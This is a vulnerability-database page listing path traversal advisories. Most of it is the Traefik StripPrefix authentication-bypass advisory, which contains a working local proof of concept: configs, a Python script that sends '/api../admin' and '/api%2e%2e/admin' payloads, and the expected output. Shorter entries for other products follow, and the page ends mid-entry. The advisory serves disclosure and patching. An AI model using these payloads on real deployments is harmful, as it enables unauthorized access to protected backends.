Common Weakness Enumeration
CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13990 vulnerabilities reference this CWE, most recent first.
GHSA-XF64-8MW2-4GR2
Vulnerability from github – Published: 2026-06-11 13:26 – Updated: 2026-07-20 21:14
VLAI
Summary
Traefik has a StripPrefix Route-Level Auth Bypass via Path Normalization
Details
Summary
There is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.48
- https://github.com/traefik/traefik/releases/tag/v3.6.19
- https://github.com/traefik/traefik/releases/tag/v3.7.3
For more information
If there are any questions or comments about this advisory, please open an issue.
Original Description # Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../) ## Summary A route-level authentication/authorization bypas was found in Traefik when `PathPrefix`-based public routes are combined with `StripPrefix`. A request using `/api../` or `/api%2e%2e/` can avoid protected router rules at the routing stage, but after `StripPrefix`, the path is normalized and forwarded to the backend as a protected path such as `/admin` or `/internal/config`. This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed `StripPrefixRegex` / path-normalization issues. This report specifically affects `StripPrefix`. ## Affected Versions Tested | Image | Observed Version | Result | |---|---|---| | `traefik:v2.11` | `v2.11.46` | Affected | | `traefik:v3.6` | `v3.6.17` | Affected | | `traefik:latest` | `v3.7.1` | Affected | ### Lab Contrast | Image | Result | |---|---| | `traefik:v2.10` | Not reproduced in lab | | `traefik:v3.5` | Not reproduced in lab | ## Vulnerable Configuration Pattern The issue appears when: - a broad public route strips a prefix - while a separate protected route is intended to guard internal/admin pathshttp:
routers:
public-api:
rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
entryPoints:
- web
middlewares:
- strip-api
service: backend
protected:
rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
entryPoints:
- web
middlewares:
- auth
service: backend
middlewares:
strip-api:
stripPrefix:
prefixes:
- /api
auth:
basicAuth:
users:
- 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services:
backend:
loadBalancer:
servers:
- url: http://backend:9000
services:
traefik:
image: traefik:v3.7
command:
- --providers.file.filename=/etc/traefik/dynamic.yml
- --entrypoints.web.address=:8080
- --accesslog=true
ports:
- "127.0.0.1:18080:8080"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
depends_on:
- backend
backend:
image: python:3.12-slim
working_dir: /app
command: python backend.py
volumes:
- ./backend.py:/app/backend.py:ro
expose:
- "9000"
http:
routers:
public-api:
rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
entryPoints:
- web
middlewares:
- strip-api
service: backend
protected:
rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
entryPoints:
- web
middlewares:
- auth
service: backend
middlewares:
strip-api:
stripPrefix:
prefixes:
- /api
auth:
basicAuth:
users:
- 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
services:
backend:
loadBalancer:
servers:
- url: http://backend:9000
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class Handler(BaseHTTPRequestHandler):
def log_message(self, fmt, *args):
return
def _json(self, status, obj):
body = json.dumps(obj).encode()
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def do_GET(self):
if self.path == "/admin":
self._json(200, {
"seen_path": self.path,
"secret": "ADMIN_SECRET_REACHED"
})
elif self.path == "/internal/config":
self._json(200, {
"seen_path": self.path,
"secret": "TRAEFIK_LAB_INTERNAL_CONFIG"
})
elif self.path == "/admin/exec":
self._json(200, {
"seen_path": self.path,
"rce_chain_marker": True,
"note": "protected execution endpoint reached"
})
else:
self._json(404, {
"seen_path": self.path,
"secret": None
})
HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()
#!/usr/bin/env python3
from urllib.request import Request, urlopen
from urllib.error import HTTPError
BASE = "http://127.0.0.1:18080"
PATHS = [
"/admin",
"/internal/config",
"/api/admin",
"/api/internal/config",
"/api../admin",
"/api%2e%2e/admin",
"/api../internal/config",
"/api%2e%2e/internal/config",
"/admin/exec",
"/api/admin/exec",
"/api../admin/exec",
"/api%2e%2e/admin/exec",
]
for path in PATHS:
req = Request(BASE + path)
try:
with urlopen(req, timeout=5) as r:
status = r.status
body = r.read().decode(errors="replace")
except HTTPError as e:
status = e.code
body = e.read().decode(errors="replace")
print(f"{path:28} {status} {body[:180]}")
docker compose up -d
python3 poc.py
/admin 401
/internal/config 401
/api/admin 404
/api/internal/config 404
/api../admin 200 backend seen_path=/admin
/api%2e%2e/admin 200 backend seen_path=/admin
/api../internal/config 200 backend seen_path=/internal/config
/api%2e%2e/internal/config 200 backend seen_path=/internal/config
/api../admin/exec 200 protected execution endpoint reached
/api%2e%2e/admin/exec 200 protected execution endpoint reached
Incoming path: /api../admin
After StripPrefix("/api"): /../admin
After JoinPath(): /admin
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
PathRegexp(`^/api(/|$)`)
PathPrefix(`/api/`) with StripPrefix(`/api/`)
Severity
10.0 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.48"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0-ea.1"
},
{
"fixed": "3.7.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48020"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-288"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-11T13:26:57Z",
"nvd_published_at": "2026-06-23T20:16:47Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s `StripPrefix` middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a `PathPrefix` rule and applies the `StripPrefix` middleware, a request path containing `..` or its percent-encoded form `%2e%2e` can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths \u2014 such as admin or internal configuration endpoints \u2014 without satisfying the authentication middleware attached to the protected router.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.48\n- https://github.com/traefik/traefik/releases/tag/v3.6.19\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../)\n\n## Summary\n\nA route-level authentication/authorization bypas was found in Traefik when `PathPrefix`-based public routes are combined with `StripPrefix`.\n\nA request using `/api../` or `/api%2e%2e/` can avoid protected router rules at the routing stage, but after `StripPrefix`, the path is normalized and forwarded to the backend as a protected path such as `/admin` or `/internal/config`.\n\nThis is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed `StripPrefixRegex` / path-normalization issues.\n\nThis report specifically affects `StripPrefix`.\n\n## Affected Versions Tested\n\n| Image | Observed Version | Result |\n|---|---|---|\n| `traefik:v2.11` | `v2.11.46` | Affected |\n| `traefik:v3.6` | `v3.6.17` | Affected |\n| `traefik:latest` | `v3.7.1` | Affected |\n\n### Lab Contrast\n\n| Image | Result |\n|---|---|\n| `traefik:v2.10` | Not reproduced in lab |\n| `traefik:v3.5` | Not reproduced in lab |\n\n## Vulnerable Configuration Pattern\n\nThe issue appears when:\n\n- a broad public route strips a prefix\n- while a separate protected route is intended to guard internal/admin paths\n\n```yaml\nhttp:\n routers:\n public-api:\n rule: \u0027PathPrefix(`/api`) \u0026\u0026 !PathPrefix(`/api/admin`) \u0026\u0026 !PathPrefix(`/api/internal`)\u0027\n entryPoints:\n - web\n middlewares:\n - strip-api\n service: backend\n\n protected:\n rule: \u0027PathPrefix(`/admin`) || PathPrefix(`/internal`)\u0027\n entryPoints:\n - web\n middlewares:\n - auth\n service: backend\n\n middlewares:\n strip-api:\n stripPrefix:\n prefixes:\n - /api\n\n auth:\n basicAuth:\n users:\n - \u0027test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\u0027\n\n services:\n backend:\n loadBalancer:\n servers:\n - url: http://backend:9000\n```\n\n## Observed Behavior\n\n### Direct Protected Paths\n\nThese are correctly blocked.\n\n| Request | Expected | Observed |\n|---|---|---|\n| `GET /admin` | Blocked | `401` |\n| `GET /internal/config` | Blocked | `401` |\n\n### Expected Public Exclusions\n\nThese do not expose protected backend paths.\n\n| Request | Expected | Observed |\n|---|---|---|\n| `GET /api/admin` | Not routed to protected backend path | `404` |\n| `GET /api/internal/config` | Not routed to protected backend path | `404` |\n\n### Bypass Payloads\n\nThese reach protected backend paths.\n\n| Request | Observed Status | Backend Receives |\n|---|---|---|\n| `GET /api../admin` | `200` | `/admin` |\n| `GET /api%2e%2e/admin` | `200` | `/admin` |\n| `GET /api../internal/config` | `200` | `/internal/config` |\n| `GET /api%2e%2e/internal/config` | `200` | `/internal/config` |\n\n## Minimal PoC\n\n### docker-compose.yml\n\n```yaml\nservices:\n traefik:\n image: traefik:v3.7\n command:\n - --providers.file.filename=/etc/traefik/dynamic.yml\n - --entrypoints.web.address=:8080\n - --accesslog=true\n ports:\n - \"127.0.0.1:18080:8080\"\n volumes:\n - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n depends_on:\n - backend\n\n backend:\n image: python:3.12-slim\n working_dir: /app\n command: python backend.py\n volumes:\n - ./backend.py:/app/backend.py:ro\n expose:\n - \"9000\"\n```\n\n### dynamic.yml\n\n```yaml\nhttp:\n routers:\n public-api:\n rule: \u0027PathPrefix(`/api`) \u0026\u0026 !PathPrefix(`/api/admin`) \u0026\u0026 !PathPrefix(`/api/internal`)\u0027\n entryPoints:\n - web\n middlewares:\n - strip-api\n service: backend\n\n protected:\n rule: \u0027PathPrefix(`/admin`) || PathPrefix(`/internal`)\u0027\n entryPoints:\n - web\n middlewares:\n - auth\n service: backend\n\n middlewares:\n strip-api:\n stripPrefix:\n prefixes:\n - /api\n\n auth:\n basicAuth:\n users:\n - \u0027test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\u0027\n\n services:\n backend:\n loadBalancer:\n servers:\n - url: http://backend:9000\n```\n\n### backend.py\n\n```python\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\n\nclass Handler(BaseHTTPRequestHandler):\n def log_message(self, fmt, *args):\n return\n\n def _json(self, status, obj):\n body = json.dumps(obj).encode()\n self.send_response(status)\n self.send_header(\"Content-Type\", \"application/json\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n def do_GET(self):\n if self.path == \"/admin\":\n self._json(200, {\n \"seen_path\": self.path,\n \"secret\": \"ADMIN_SECRET_REACHED\"\n })\n elif self.path == \"/internal/config\":\n self._json(200, {\n \"seen_path\": self.path,\n \"secret\": \"TRAEFIK_LAB_INTERNAL_CONFIG\"\n })\n elif self.path == \"/admin/exec\":\n self._json(200, {\n \"seen_path\": self.path,\n \"rce_chain_marker\": True,\n \"note\": \"protected execution endpoint reached\"\n })\n else:\n self._json(404, {\n \"seen_path\": self.path,\n \"secret\": None\n })\n\nHTTPServer((\"0.0.0.0\", 9000), Handler).serve_forever()\n```\n\n### poc.py\n\n```python\n#!/usr/bin/env python3\nfrom urllib.request import Request, urlopen\nfrom urllib.error import HTTPError\n\nBASE = \"http://127.0.0.1:18080\"\n\nPATHS = [\n \"/admin\",\n \"/internal/config\",\n \"/api/admin\",\n \"/api/internal/config\",\n \"/api../admin\",\n \"/api%2e%2e/admin\",\n \"/api../internal/config\",\n \"/api%2e%2e/internal/config\",\n \"/admin/exec\",\n \"/api/admin/exec\",\n \"/api../admin/exec\",\n \"/api%2e%2e/admin/exec\",\n]\n\nfor path in PATHS:\n req = Request(BASE + path)\n try:\n with urlopen(req, timeout=5) as r:\n status = r.status\n body = r.read().decode(errors=\"replace\")\n except HTTPError as e:\n status = e.code\n body = e.read().decode(errors=\"replace\")\n\n print(f\"{path:28} {status} {body[:180]}\")\n```\n\n### Run\n\n```bash\ndocker compose up -d\npython3 poc.py\n```\n\n## Expected Vulnerable Output\n\n```text\n/admin 401\n/internal/config 401\n/api/admin 404\n/api/internal/config 404\n/api../admin 200 backend seen_path=/admin\n/api%2e%2e/admin 200 backend seen_path=/admin\n/api../internal/config 200 backend seen_path=/internal/config\n/api%2e%2e/internal/config 200 backend seen_path=/internal/config\n/api../admin/exec 200 protected execution endpoint reached\n/api%2e%2e/admin/exec 200 protected execution endpoint reached\n```\n\n## Root Cause Hypothesis\n\nThe vulnerable behavior appears to be caused by path normalization after prefix stripping.\n\n```text\nIncoming path: /api../admin\nAfter StripPrefix(\"/api\"): /../admin\nAfter JoinPath(): /admin\n```\n\nThe request does not match the protected `/admin` router at the routing stage, but the backend receives `/admin` after normalization.\n\nThe relevant behavior appears related to `StripPrefix` calling `req.URL.JoinPath()` after removing the prefix in newer versions.\n\n## Security Impact\n\nAn unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.\n\nPotential impact includes:\n\n- Access to protected admin paths\n- Access to internal configuration endpoints\n- Exposure of secrets returned by internal backends\n- Access to protected backend management functionality\n- Conditional RCE if the protected backend exposes an execution primitive\n\nIn the local lab, a protected `/admin/exec` endpoint was reachable through `/api../admin/exec`, demonstrating a conditional RCE chain when the backend contains an execution primitive.\n\nThis is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.\n\n## Suggested Severity\n\nSuggested CVSS is **10.0 Critical** with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N\n```\n\nScope Changed was selected because the request bypasses Traefik\u0027s route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.\n\nIf the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as **9.1 Critical** with Scope Unchanged:\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n```\n\nThe issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.\n\n## Weakness\n\nPrimary CWE:\n\n- `CWE-863: Incorrect Authorization`\n\nRelated weakness candidates:\n\n- `CWE-180: Incorrect Behavior Order: Validate Before Canonicalize`\n- `CWE-22: Improper Limitation of a Pathname to a Restricted Directory`\n\n## Mitigation Verified in Lab\n\nThe bypass was blocked when using a stricter prefix boundary:\n\n```text\nPathRegexp(`^/api(/|$)`)\n```\n\nor:\n\n```text\nPathPrefix(`/api/`) with StripPrefix(`/api/`)\n```\n\n## Relation to Existing Advisories\n\nThis appears related to the same vulnerability family as prior Traefik path normalization / `StripPrefixRegex` bypass advisories, but it affects `StripPrefix` and remains reproducible on patched/latest versions tested above.\n\nThis was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.\n\n## Reporter\n\nWonYun / kyun0\n\n\u003c/details\u003e",
"id": "GHSA-xf64-8mw2-4gr2",
"modified": "2026-07-20T21:14:26Z",
"published": "2026-06-11T13:26:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-xf64-8mw2-4gr2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48020"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-48020"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2491915"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.48"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.19"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.3"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48020.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Traefik has a StripPrefix Route-Level Auth Bypass via Path Normalization"
}
GHSA-XF6C-G664-4QP4
Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03
VLAI
Details
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability exists in homeLYnk (Wiser For KNX) and spaceLYnk V2.60 and prior which could cause a denial of service when an unauthorized file is uploaded.
{
"affected": [],
"aliases": [
"CVE-2021-22736"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-26T20:15:00Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability exists in homeLYnk (Wiser For KNX) and spaceLYnk V2.60 and prior which could cause a denial of service when an unauthorized file is uploaded.",
"id": "GHSA-xf6c-g664-4qp4",
"modified": "2022-05-24T19:03:17Z",
"published": "2022-05-24T19:03:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22736"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-130-04"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XF7F-5P7R-XC3C
Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2022-06-29 00:00
VLAI
Details
fr-archive-libarchive.c in GNOME file-roller through 3.38.0, as used by GNOME Shell and other software, allows Directory Traversal during extraction because it lacks a check of whether a file's parent is a symlink in certain complex situations. NOTE: this issue exists because of an incomplete fix for CVE-2020-11736.
Severity
{
"affected": [],
"aliases": [
"CVE-2020-36314"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-07T12:15:00Z",
"severity": "LOW"
},
"details": "fr-archive-libarchive.c in GNOME file-roller through 3.38.0, as used by GNOME Shell and other software, allows Directory Traversal during extraction because it lacks a check of whether a file\u0027s parent is a symlink in certain complex situations. NOTE: this issue exists because of an incomplete fix for CVE-2020-11736.",
"id": "GHSA-xf7f-5p7r-xc3c",
"modified": "2022-06-29T00:00:32Z",
"published": "2022-05-24T17:46:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36314"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/file-roller/-/commit/e970f4966bf388f6e7c277357c8b186c645683ae"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/file-roller/-/issues/108"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6KJBZVCHQ4SSX2JAJZVJ5J4P3GEMXJ75"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-XFCC-H2CC-43QV
Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22
VLAI
Details
An Insecure Direct Object Reference (IDOR) vulnerability exists in Zoho ManageEngine ServiceDesk Plus (SDP) before 10.0 build 10007 via an attachment to a request.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2019-8395"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-17T04:29:00Z",
"severity": "CRITICAL"
},
"details": "An Insecure Direct Object Reference (IDOR) vulnerability exists in Zoho ManageEngine ServiceDesk Plus (SDP) before 10.0 build 10007 via an attachment to a request.",
"id": "GHSA-xfcc-h2cc-43qv",
"modified": "2022-05-13T01:22:56Z",
"published": "2022-05-13T01:22:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8395"
},
{
"type": "WEB",
"url": "https://www.manageengine.com/products/service-desk/readme.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XFCP-57J3-Q6C2
Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35
VLAI
Details
A vulnerability in the web management interface of Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an authenticated, remote attacker to conduct a path traversal attack on a targeted system. The vulnerability is due to insufficient validation of web request parameters. An attacker who has access to the web management interface of the affected application could exploit this vulnerability by sending a malicious web request to the affected device. A successful exploit could allow the attacker to access sensitive information on the affected system. Cisco Bug IDs: CSCvh99631.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2018-0323"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-05-17T03:29:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web management interface of Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an authenticated, remote attacker to conduct a path traversal attack on a targeted system. The vulnerability is due to insufficient validation of web request parameters. An attacker who has access to the web management interface of the affected application could exploit this vulnerability by sending a malicious web request to the affected device. A successful exploit could allow the attacker to access sensitive information on the affected system. Cisco Bug IDs: CSCvh99631.",
"id": "GHSA-xfcp-57j3-q6c2",
"modified": "2022-05-13T01:35:23Z",
"published": "2022-05-13T01:35:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0323"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180516-nfvis-path-traversal"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/104206"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XFF5-584G-7F5G
Vulnerability from github – Published: 2022-07-12 00:00 – Updated: 2022-07-16 00:00
VLAI
Details
The SummaLabs/DLS repository through 0.1.0 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.
Severity
9.3 (Critical)
{
"affected": [],
"aliases": [
"CVE-2022-31525"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-11T01:15:00Z",
"severity": "CRITICAL"
},
"details": "The SummaLabs/DLS repository through 0.1.0 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.",
"id": "GHSA-xff5-584g-7f5g",
"modified": "2022-07-16T00:00:33Z",
"published": "2022-07-12T00:00:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31525"
},
{
"type": "WEB",
"url": "https://github.com/github/securitylab/issues/669#issuecomment-1117265726"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-XFFJ-W224-6PMQ
Vulnerability from github – Published: 2022-05-14 03:45 – Updated: 2022-05-14 03:45
VLAI
Details
An exposure of sensitive information vulnerability exists in Schneider Electric's Pelco VideoXpert Enterprise versions 2.0 and prior. Using a directory traversal attack, an unauthorized person can view web server files.
Severity
5.8 (Medium)
{
"affected": [],
"aliases": [
"CVE-2017-9965"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-02T03:29:00Z",
"severity": "MODERATE"
},
"details": "An exposure of sensitive information vulnerability exists in Schneider Electric\u0027s Pelco VideoXpert Enterprise versions 2.0 and prior. Using a directory traversal attack, an unauthorized person can view web server files.",
"id": "GHSA-xffj-w224-6pmq",
"modified": "2022-05-14T03:45:21Z",
"published": "2022-05-14T03:45:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9965"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-355-02"
},
{
"type": "WEB",
"url": "https://www.schneider-electric.com/en/download/document/SEVD-2017-339-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/102338"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XFFW-V379-PM86
Vulnerability from github – Published: 2022-05-01 23:55 – Updated: 2022-05-01 23:55
VLAI
Details
Multiple directory traversal vulnerabilities in index.php in FOG Forum 0.8.1 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the (1) fog_lang and (2) fog_skin parameters, probably related to libs/required/share.inc; and possibly the (3) fog_pseudo, (4) fog_posted, (5) fog_password, and (6) fog_cook parameters.
{
"affected": [],
"aliases": [
"CVE-2008-2993"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-07-03T18:41:00Z",
"severity": "HIGH"
},
"details": "Multiple directory traversal vulnerabilities in index.php in FOG Forum 0.8.1 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the (1) fog_lang and (2) fog_skin parameters, probably related to libs/required/share.inc; and possibly the (3) fog_pseudo, (4) fog_posted, (5) fog_password, and (6) fog_cook parameters.",
"id": "GHSA-xffw-v379-pm86",
"modified": "2022-05-01T23:55:31Z",
"published": "2022-05-01T23:55:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2993"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42985"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5784"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30613"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3971"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29651"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XFGQ-G492-6M25
Vulnerability from github – Published: 2024-08-13 12:30 – Updated: 2024-08-13 12:30
VLAI
Details
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Themewinter WPCafe allows PHP Local File Inclusion.This issue affects WPCafe: from n/a through 2.2.28.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2024-43135"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T11:15:19Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in Themewinter WPCafe allows PHP Local File Inclusion.This issue affects WPCafe: from n/a through 2.2.28.",
"id": "GHSA-xfgq-g492-6m25",
"modified": "2024-08-13T12:30:53Z",
"published": "2024-08-13T12:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43135"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wp-cafe/wordpress-wpcafe-plugin-2-2-28-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XFHH-RX56-RXCR
Vulnerability from github – Published: 2019-07-02 15:28 – Updated: 2024-03-07 00:30
VLAI
Summary
Path Traversal vulnerability that affects yard
Details
Possible arbitrary path traversal and file access via yard server
Impact
A path traversal vulnerability was discovered in YARD <= 0.9.19 when using yard server to serve documentation. This bug would allow unsanitized HTTP requests to access arbitrary files on the machine of a yard server host under certain conditions.
Thanks to CuongMX from Viettel Cyber Security for discovering this vulnerability.
Patches
Please upgrade to YARD v0.9.20 immediately if you are relying on yard server to host documentation in any untrusted environments.
Workarounds
